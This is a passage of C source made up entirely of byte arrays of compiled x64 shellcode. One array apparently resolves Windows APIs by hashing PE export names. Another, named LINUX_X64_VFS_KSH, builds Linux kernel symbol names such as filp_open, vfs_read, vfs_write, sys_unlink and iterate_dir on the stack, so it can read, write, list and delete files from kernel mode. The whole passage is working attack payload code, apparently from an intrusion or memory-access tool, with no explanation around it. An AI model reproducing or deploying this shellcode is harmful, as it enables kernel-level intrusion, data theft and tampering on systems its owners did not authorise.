0x41, 0x5e, 0x5f, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48,
|
||||
0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55,
|
||||
0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48,
|
||||
0x83, 0x65, 0x6f, 0x00, 0x48, 0x8d, 0x4d, 0x27, 0x48, 0x8b, 0xf2, 0xbf,
|
||||
0x30, 0x00, 0x00, 0x00, 0x8b, 0xd7, 0x49, 0x8b, 0xd8, 0xff, 0x96, 0x80,
|
||||
0x00, 0x00, 0x00, 0x8d, 0x57, 0xe0, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x96,
|
||||
0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48,
|
||||
0x8d, 0x4d, 0x17, 0xff, 0x56, 0x78, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8d,
|
||||
0x45, 0x17, 0x48, 0x83, 0x65, 0x2f, 0x00, 0x0f, 0x57, 0xc0, 0x48, 0x89,
|
||||
0x45, 0x37, 0x8a, 0xc1, 0x24, 0x80, 0x48, 0x89, 0x7d, 0x27, 0xf6, 0xd8,
|
||||
0x48, 0xc7, 0x45, 0x3f, 0x40, 0x02, 0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45,
|
||||
0x47, 0x1b, 0xd2, 0x81, 0xe2, 0x04, 0x00, 0x00, 0xc0, 0x81, 0xc2, 0x00,
|
||||
0x00, 0x00, 0x40, 0xf6, 0xc1, 0x40, 0x74, 0x0d, 0x48, 0x83, 0xbb, 0x28,
|
||||
0x03, 0x00, 0x00, 0x00, 0x8d, 0x47, 0xd5, 0x74, 0x05, 0xb8, 0x01, 0x00,
|
||||
0x00, 0x00, 0x83, 0x64, 0x24, 0x50, 0x00, 0x4c, 0x8d, 0x4d, 0x07, 0x48,
|
||||
0x83, 0x64, 0x24, 0x48, 0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44, 0x24,
|
||||
0x40, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0x89, 0x44, 0x24,
|
||||
0x38, 0x83, 0x64, 0x24, 0x30, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00,
|
||||
0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0xff, 0x96, 0x90, 0x00,
|
||||
0x00, 0x00, 0x8b, 0xf8, 0x85, 0xc0, 0x75, 0x45, 0x48, 0x83, 0x64, 0x24,
|
||||
0x40, 0x00, 0x48, 0x8d, 0x83, 0x28, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44,
|
||||
0x24, 0x38, 0x48, 0x8d, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x8b, 0x83, 0x30,
|
||||
0x03, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x89, 0x44, 0x24, 0x30, 0x45, 0x33,
|
||||
0xc0, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x8b,
|
||||
0x4d, 0x6f, 0x33, 0xd2, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x96, 0xc0,
|
||||
0x00, 0x00, 0x00, 0x8b, 0xf8, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x85, 0xc9,
|
||||
0x74, 0x06, 0xff, 0x96, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24,
|
||||
0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc7, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b,
|
||||
0x73, 0x20, 0x49, 0x8b, 0x7b, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0xcc,
|
||||
0x40, 0x53, 0x48, 0x81, 0xec, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9,
|
||||
0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0x49, 0x08, 0xe8, 0xba, 0x00,
|
||||
0x00, 0x00, 0x4c, 0x8b, 0x83, 0x08, 0x01, 0x00, 0x00, 0x4c, 0x03, 0x43,
|
||||
0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00,
|
||||
0x0f, 0x82, 0x86, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93,
|
||||
0xad, 0x20, 0xe7, 0x79, 0x49, 0x39, 0x00, 0x75, 0x77, 0x49, 0x8b, 0x40,
|
||||
0x08, 0x48, 0x83, 0xf8, 0x01, 0x75, 0x19, 0x48, 0x8d, 0x54, 0x24, 0x20,
|
||||
0x48, 0x8b, 0xcb, 0xe8, 0xc0, 0xfa, 0xff, 0xff, 0x48, 0x63, 0xc8, 0x48,
|
||||
0x89, 0x8b, 0x20, 0x02, 0x00, 0x00, 0xeb, 0x60, 0x48, 0x83, 0xf8, 0x03,
|
||||
0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xe9,
|
||||
0xfc, 0xff, 0xff, 0xeb, 0xdf, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x0f, 0x48,
|
||||
0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x1c, 0xfe, 0xff, 0xff,
|
||||
0xeb, 0xca, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24,
|
||||
0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0xf8, 0xff, 0xff, 0xeb, 0xb5, 0x48,
|
||||
0x83, 0xf8, 0x05, 0x75, 0x1b, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b,
|
||||
0xcb, 0xe8, 0x7e, 0xf9, 0xff, 0xff, 0xeb, 0xa0, 0xb8, 0x01, 0x00, 0x00,
|
||||
0xc0, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xf0,
|
||||
0x00, 0x00, 0x00, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48,
|
||||
0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x55,
|
||||
0x48, 0x8d, 0xa8, 0x38, 0xff, 0xff, 0xff, 0x48, 0x81, 0xec, 0xc0, 0x01,
|
||||
0x00, 0x00, 0xb8, 0x4a, 0x45, 0x3b, 0xd7, 0x48, 0x89, 0x54, 0x24, 0x20,
|
||||
0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, 0xf1, 0x48, 0x8d, 0x42, 0x08,
|
||||
0x48, 0xc7, 0x44, 0x24, 0x38, 0x62, 0xe0, 0x07, 0x37, 0x48, 0x89, 0x44,
|
||||
0x24, 0x30, 0xb9, 0x2a, 0xd0, 0x35, 0x30, 0x48, 0x8d, 0x42, 0x10, 0x48,
|
||||
0xc7, 0x44, 0x24, 0x68, 0x92, 0x6d, 0x58, 0x58, 0x48, 0x89, 0x44, 0x24,
|
||||
0x40, 0xb8, 0x1f, 0x9d, 0x48, 0x9d, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48,
|
||||
0x8d, 0x42, 0x18, 0x48, 0x89, 0x44, 0x24, 0x50, 0xb8, 0xa1, 0x7b, 0xcc,
|
||||
0xdc, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8d, 0x42, 0x20, 0x48, 0x89,
|
||||
0x44, 0x24, 0x60, 0x48, 0x8d, 0x42, 0x28, 0x48, 0x89, 0x44, 0x24, 0x70,
|
||||
0x48, 0x8d, 0x42, 0x30, 0x48, 0x89, 0x45, 0x80, 0x48, 0x8d, 0x42, 0x38,
|
||||
0x48, 0x89, 0x45, 0x90, 0x48, 0x8d, 0x42, 0x40, 0x48, 0x89, 0x45, 0xa0,
|
||||
0x48, 0x8d, 0x42, 0x48, 0x48, 0x89, 0x45, 0xb0, 0xb8, 0xf7, 0x38, 0xb3,
|
||||
0x9d, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8d, 0x42, 0x50, 0x48, 0x89, 0x45,
|
||||
0xc0, 0x48, 0x8d, 0x42, 0x58, 0x48, 0x89, 0x45, 0xd0, 0xb8, 0x89, 0x83,
|
||||
0x6c, 0xeb, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8d, 0x42, 0x60, 0x48, 0x89,
|
||||
0x45, 0xe0, 0xb8, 0x9b, 0x97, 0x64, 0xcf, 0x48, 0x89, 0x45, 0xe8, 0x48,
|
||||
0x8d, 0x42, 0x68, 0x48, 0x89, 0x45, 0xf0, 0xb8, 0x2a, 0xc0, 0xb2, 0xa8,
|
||||
0x48, 0x89, 0x45, 0xf8, 0x48, 0x8d, 0x42, 0x70, 0x48, 0x89, 0x45, 0x00,
|
||||
0x48, 0x8d, 0x42, 0x78, 0x48, 0x89, 0x45, 0x10, 0x48, 0x89, 0x45, 0x20,
|
||||
0x48, 0x8d, 0x82, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x30, 0xb8,
|
||||
0xdb, 0x4f, 0x3d, 0xc5, 0x48, 0x89, 0x45, 0x38, 0x48, 0x8d, 0x82, 0x88,
|
||||
0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0x8d, 0x82, 0x90, 0x00,
|
||||
0x00, 0x00, 0x48, 0x89, 0x45, 0x50, 0xb8, 0x9d, 0x8f, 0xa0, 0xc3, 0x48,
|
||||
0x89, 0x45, 0x58, 0x48, 0x8d, 0x82, 0x98, 0x00, 0x00, 0x00, 0x48, 0x89,
|
||||
0x45, 0x60, 0xb8, 0xb8, 0xd4, 0x29, 0x88, 0x48, 0x89, 0x45, 0x68, 0x48,
|
||||
0x8d, 0x82, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x70, 0xb8, 0x16,
|
||||
0x35, 0xfd, 0x87, 0x48, 0x89, 0x45, 0x78, 0x48, 0x8d, 0x82, 0xa0, 0x00,
|
||||
0x00, 0x00, 0x48, 0x89, 0x85, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x82,
|
||||
0xa8, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x78, 0xce, 0xad, 0x90,
|
||||
0x4d, 0x48, 0xc7, 0x45, 0x88, 0x57, 0x63, 0x32, 0x5a, 0x48, 0xc7, 0x45,
|
||||
0x98, 0x8f, 0xb5, 0x6a, 0x6a, 0x48, 0xc7, 0x45, 0xa8, 0xf9, 0xbe, 0xdd,
|
||||
0x05, 0x48, 0xc7, 0x45, 0xc8, 0xc9, 0xc5, 0x6e, 0x6c, 0x48, 0xc7, 0x45,
|
||||
0x08, 0x3d, 0x28, 0xc3, 0x7c, 0x48, 0x89, 0x4d, 0x18, 0x48, 0x89, 0x4d,
|
||||
0x28, 0x48, 0xc7, 0x45, 0x48, 0x61, 0x4c, 0x04, 0x5d, 0x48, 0xc7, 0x85,
|
||||
0x88, 0x00, 0x00, 0x00, 0x50, 0x64, 0xb0, 0x6f, 0x48, 0x89, 0x85, 0x90,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8d, 0x5c, 0x24, 0x20, 0xb8, 0xe2, 0xca, 0x61,
|
||||
0xe6, 0x48, 0xc7, 0x85, 0xb8, 0x00, 0x00, 0x00, 0x36, 0x31, 0x0e, 0x68,
|
||||
0x48, 0x89, 0x85, 0x98, 0x00, 0x00, 0x00, 0xbf, 0x1a, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x82, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85, 0xa0, 0x00,
|
||||
0x00, 0x00, 0xb8, 0xde, 0x24, 0xe6, 0xf7, 0x48, 0x89, 0x85, 0xa8, 0x00,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x82, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85,
|
||||
0xb0, 0x00, 0x00, 0x00, 0x8b, 0x53, 0x08, 0x48, 0x8b, 0xce, 0xe8, 0x29,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8b, 0x0b, 0x48, 0x8d, 0x5b, 0x10, 0x48, 0x89,
|
||||
0x01, 0x48, 0x83, 0xef, 0x01, 0x75, 0xe5, 0x4c, 0x8d, 0x9c, 0x24, 0xc0,
|
||||
0x01, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49,
|
||||
0x8b, 0x7b, 0x20, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x8b, 0xc4, 0x48,
|
||||
0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,
|
||||
0x89, 0x78, 0x20, 0x8b, 0xea, 0x48, 0x85, 0xc9, 0x74, 0x7a, 0xb8, 0x4d,
|
||||
0x5a, 0x00, 0x00, 0x66, 0x39, 0x01, 0x75, 0x70, 0x48, 0x63, 0x41, 0x3c,
|
||||
0x48, 0x03, 0xc1, 0x74, 0x67, 0x81, 0x38, 0x50, 0x45, 0x00, 0x00, 0x75,
|
||||
0x5f, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd1, 0x74, 0x54,
|
||||
0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74, 0x4b, 0x8b, 0x42, 0x20,
|
||||
0x85, 0xc0, 0x74, 0x44, 0x8b, 0x72, 0x24, 0x4c, 0x8d, 0x0c, 0x01, 0x8b,
|
||||
0x7a, 0x1c, 0x48, 0x03, 0xf1, 0x48, 0x03, 0xf9, 0x45, 0x33, 0xc0, 0x45,
|
||||
0x85, 0xdb, 0x74, 0x2c, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x33, 0xdb,
|
||||
0xeb, 0x0b, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc2, 0xc1, 0xcb, 0x0d, 0x03,
|
||||
0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xee, 0x3b, 0xdd, 0x74, 0x23,
|
||||
0x41, 0xff, 0xc0, 0x49, 0x83, 0xc1, 0x04, 0x45, 0x3b, 0xc3, 0x72, 0xd4,
|
||||
0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10,
|
||||
0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x46,
|
||||
0x0f, 0xb7, 0x04, 0x46, 0x44, 0x3b, 0x42, 0x14, 0x73, 0xde, 0x42, 0x8b,
|
||||
0x04, 0x87, 0x48, 0x03, 0xc1, 0xeb, 0xd7, 0x00
|
||||
};
|
||||
|
||||
const BYTE LINUX_X64_VFS_KSH[] = {
|
||||
0x37, 0x13, 0xec, 0x3c, 0x6d, 0x2e, 0x95, 0x5c, 0xda, 0x8a, 0xaf, 0x2c,
|
||||
0xf2, 0x37, 0xfd, 0x1c, 0xd9, 0xe6, 0x2a, 0x9f, 0x99, 0xf1, 0x15, 0x62,
|
||||
0xb8, 0x11, 0xdd, 0xc9, 0x76, 0xca, 0x8b, 0xd9, 0x6c, 0x8b, 0x61, 0xd7,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x91, 0x08, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x2c, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0,
|
||||
0x48, 0x83, 0xec, 0x20, 0xe8, 0x1f, 0x07, 0x00, 0x00, 0x48, 0x8b, 0xe6,
|
||||
0x5e, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x4c, 0x8b,
|
||||
0xf9, 0x4c, 0x8b, 0xf2, 0x4d, 0x8b, 0xe9, 0x49, 0xc1, 0xe5, 0x03, 0x4d,
|
||||
0x8b, 0xe0, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x4b, 0x8b, 0x54,
|
||||
0x35, 0x00, 0xe8, 0x23, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x1a,
|
||||
0x4b, 0x89, 0x44, 0x25, 0x00, 0x4d, 0x85, 0xed, 0x75, 0xe0, 0x41, 0x5c,
|
||||
0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00,
|
||||
0x00, 0xc3, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48,
|
||||
0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24,
|
||||
0x38, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41,
|
||||
0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20,
|
||||
0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x0d, 0xf1, 0xff, 0xff,
|
||||
0xff, 0xc3, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x41,
|
||||
0x51, 0x41, 0x50, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xc9, 0x4c, 0x8b,
|
||||
0xc2, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x05, 0xcc, 0xff,
|
||||
0xff, 0xff, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, 0x48, 0xb8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0x48, 0x03, 0xc1, 0xc3,
|
||||
0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0x48, 0x2b,
|
||||
0xc8, 0x48, 0xc1, 0xe9, 0x07, 0x48, 0xc1, 0xe1, 0x0c, 0x48, 0x8b, 0xc1,
|
||||
0xc3, 0x0f, 0x09, 0xc3, 0x40, 0x55, 0x48, 0x8d, 0x6c, 0x24, 0xa9, 0x48,
|
||||
0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8d,
|
||||
0x45, 0xd7, 0x48, 0x89, 0x45, 0x07, 0x45, 0x33, 0xc0, 0x48, 0x8d, 0x45,
|
||||
0x77, 0x44, 0x88, 0x45, 0xe1, 0x48, 0x89, 0x45, 0x0f, 0x48, 0x8d, 0x45,
|
||||
0x7f, 0x48, 0x89, 0x45, 0x17, 0x48, 0x8d, 0x45, 0xe7, 0x48, 0x89, 0x45,
|
||||
0x1f, 0x45, 0x8d, 0x48, 0x0a, 0x48, 0x8d, 0x45, 0xb7, 0x44, 0x88, 0x45,
|
||||
0x7d, 0x48, 0x89, 0x45, 0x27, 0x48, 0x8d, 0x45, 0x97, 0x48, 0x89, 0x45,
|
||||
0x2f, 0x48, 0x8d, 0x45, 0xc7, 0x48, 0x89, 0x45, 0x37, 0x48, 0x8d, 0x45,
|
||||
0xa7, 0x48, 0x89, 0x45, 0x3f, 0x48, 0x8d, 0x45, 0xf7, 0x48, 0x89, 0x45,
|
||||
0x47, 0x48, 0x8d, 0x45, 0x67, 0x44, 0x88, 0x85, 0x85, 0x00, 0x00, 0x00,
|
||||
0x44, 0x88, 0x45, 0xf1, 0x44, 0x88, 0x45, 0x9f, 0x44, 0x88, 0x45, 0xaf,
|
||||
0x4c, 0x8b, 0xc2, 0x48, 0x8d, 0x55, 0x07, 0x48, 0x89, 0x45, 0x4f, 0xc7,
|
||||
0x45, 0xd7, 0x73, 0x79, 0x73, 0x5f, 0xc7, 0x45, 0xdb, 0x75, 0x6e, 0x6c,
|
||||
0x69, 0x66, 0xc7, 0x45, 0xdf, 0x6e, 0x6b, 0xc7, 0x45, 0x77, 0x6d, 0x65,
|
||||
0x6d, 0x63, 0x66, 0xc7, 0x45, 0x7b, 0x70, 0x79, 0xc7, 0x45, 0x7f, 0x6d,
|
||||
0x65, 0x6d, 0x73, 0x66, 0xc7, 0x85, 0x83, 0x00, 0x00, 0x00, 0x65, 0x74,
|
||||
0xc7, 0x45, 0xe7, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0xeb, 0x5f, 0x63,
|
||||
0x6c, 0x6f, 0x66, 0xc7, 0x45, 0xef, 0x73, 0x65, 0xc7, 0x45, 0xb7, 0x66,
|
||||
0x69, 0x6c, 0x70, 0xc7, 0x45, 0xbb, 0x5f, 0x6f, 0x70, 0x65, 0x66, 0xc7,
|
||||
0x45, 0xbf, 0x6e, 0x00, 0xc7, 0x45, 0x97, 0x76, 0x66, 0x73, 0x5f, 0xc7,
|
||||
0x45, 0x9b, 0x72, 0x65, 0x61, 0x64, 0xc7, 0x45, 0xc7, 0x76, 0x66, 0x73,
|
||||
0x5f, 0xc7, 0x45, 0xcb, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7, 0x45, 0xcf,
|
||||
0x65, 0x00, 0xc7, 0x45, 0xa7, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0xab,
|
||||
0x73, 0x74, 0x61, 0x74, 0xc7, 0x45, 0xf7, 0x69, 0x74, 0x65, 0x72, 0xc7,
|
||||
0x45, 0xfb, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0xff, 0x64, 0x69, 0x72,
|
||||
0x00, 0xc7, 0x45, 0x67, 0x79, 0x69, 0x65, 0x6c, 0x66, 0xc7, 0x45, 0x6b,
|
||||
0x64, 0x00, 0xe8, 0xdf, 0xfd, 0xff, 0xff, 0x48, 0x81, 0xc4, 0xe0, 0x00,
|
||||
0x00, 0x00, 0x5d, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,
|
||||
0xda, 0x41, 0xb9, 0xff, 0x01, 0x00, 0x00, 0x49, 0x8d, 0x50, 0x18, 0x48,
|
||||
0x8b, 0x4b, 0x20, 0x45, 0x8d, 0x41, 0x42, 0xe8, 0x02, 0xfe, 0xff, 0xff,
|
||||
0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b,
|
||||
0xc1, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x11, 0x48, 0x8b,
|
||||
0x4b, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd0, 0xe8, 0xdd, 0xfd, 0xff,
|
||||
0xff, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
|
||||
0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xda, 0x49,
|
||||
0x8b, 0xf8, 0x48, 0x8b, 0xe9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9,
|
||||
0x41, 0xb8, 0x00, 0x00, 0x05, 0x00, 0x48, 0x8b, 0x4b, 0x20, 0xe8, 0x9f,
|
||||
0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00,
|
||||
0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00,
|
||||
0x00, 0xf0, 0xeb, 0x67, 0x48, 0x8d, 0x0d, 0x75, 0x00, 0x00, 0x00, 0xe8,
|
||||
0xb6, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x40, 0x48, 0x8d, 0x05, 0xb3,
|
||||
0xfd, 0xff, 0xff, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x89, 0x44, 0x24,
|
||||
0x20, 0x48, 0x8b, 0xd6, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x6c,
|
||||
0x24, 0x30, 0x48, 0x89, 0x7c, 0x24, 0x40, 0xe8, 0x4e, 0xfd, 0xff, 0xff,
|
||||
0x48, 0x89, 0x85, 0x28, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48, 0x8b,
|
||||
0x4b, 0x18, 0x48, 0x8b, 0xd6, 0xe8, 0x38, 0xfd, 0xff, 0xff, 0x48, 0x8b,
|
||||
0x4b, 0x48, 0xe8, 0x2f, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xc7, 0x48, 0x8b,
|
||||
0xd3, 0x48, 0x8b, 0xcd, 0xe8, 0xf7, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48,
|
||||
0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74,
|
||||
0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57,
|
||||
0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xf9, 0x49,
|
||||
0x63, 0xf0, 0x48, 0x8b, 0xea, 0x49, 0x8b, 0x89, 0x00, 0x02, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x81, 0x40, 0x02, 0x00, 0x00, 0x49, 0x3b, 0x81, 0x10, 0x02,
|
||||
0x00, 0x00, 0x0f, 0x87, 0x8b, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x99, 0x08,
|
||||
0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x49, 0x03, 0x59, 0x28, 0x41, 0xb9,
|
||||
0x40, 0x02, 0x00, 0x00, 0x48, 0x03, 0xd9, 0x48, 0x8b, 0x4f, 0x18, 0x48,
|
||||
0x8b, 0xd3, 0x48, 0x8b, 0x49, 0x10, 0xe8, 0xa7, 0xfc, 0xff, 0xff, 0x8b,
|
||||
0x4c, 0x24, 0x58, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x3b, 0xc8, 0x74, 0x1b,
|
||||
0x8d, 0x50, 0x04, 0x3b, 0xca, 0x74, 0x0b, 0x83, 0xf9, 0x0a, 0x0f, 0x45,
|
||||
0xc2, 0x48, 0x89, 0x03, 0xeb, 0x10, 0x48, 0xc7, 0x03, 0x01, 0x00, 0x00,
|
||||
0x00, 0xeb, 0x07, 0x48, 0xc7, 0x03, 0x02, 0x00, 0x00, 0x00, 0x33, 0xc9,
|
||||
0x85, 0xf6, 0x74, 0x20, 0x48, 0x83, 0xc3, 0x38, 0x48, 0x81, 0xf9, 0x03,
|
||||
0x01, 0x00, 0x00, 0x73, 0x13, 0x0f, 0xb6, 0x04, 0x29, 0x48, 0xff, 0xc1,
|
||||
0x66, 0x89, 0x03, 0x48, 0x83, 0xc3, 0x02, 0x48, 0x3b, 0xce, 0x72, 0xe4,
|
||||
0x48, 0x8b, 0x47, 0x10, 0x48, 0x81, 0x80, 0x00, 0x02, 0x00, 0x00, 0x40,
|
||||
0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x33, 0xc0, 0x48, 0x8b,
|
||||
0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20,
|
||||
0x5f, 0xc3, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49,
|
||||
0x89, 0x6b, 0x10, 0x49, 0x89, 0x73, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55,
|
||||
0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0xb0, 0x02, 0x00, 0x00, 0x45,
|
||||
0x33, 0xe4, 0x4d, 0x8d, 0x93, 0xc8, 0xfd, 0xff, 0xff, 0x48, 0xb8, 0x8f,
|
||||
0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x4d, 0x8d, 0x48, 0x18, 0x4c,
|
||||
0x8b, 0xea, 0x48, 0x8b, 0xe9, 0x48, 0xf7, 0xa1, 0x00, 0x02, 0x00, 0x00,
|
||||
0x41, 0x8b, 0xc4, 0x48, 0x8b, 0xf2, 0x48, 0xc1, 0xee, 0x09, 0x4d, 0x2b,
|
||||
0xd0, 0x41, 0x8a, 0x09, 0x84, 0xc9, 0x74, 0x13, 0x43, 0x88, 0x4c, 0x0a,
|
||||
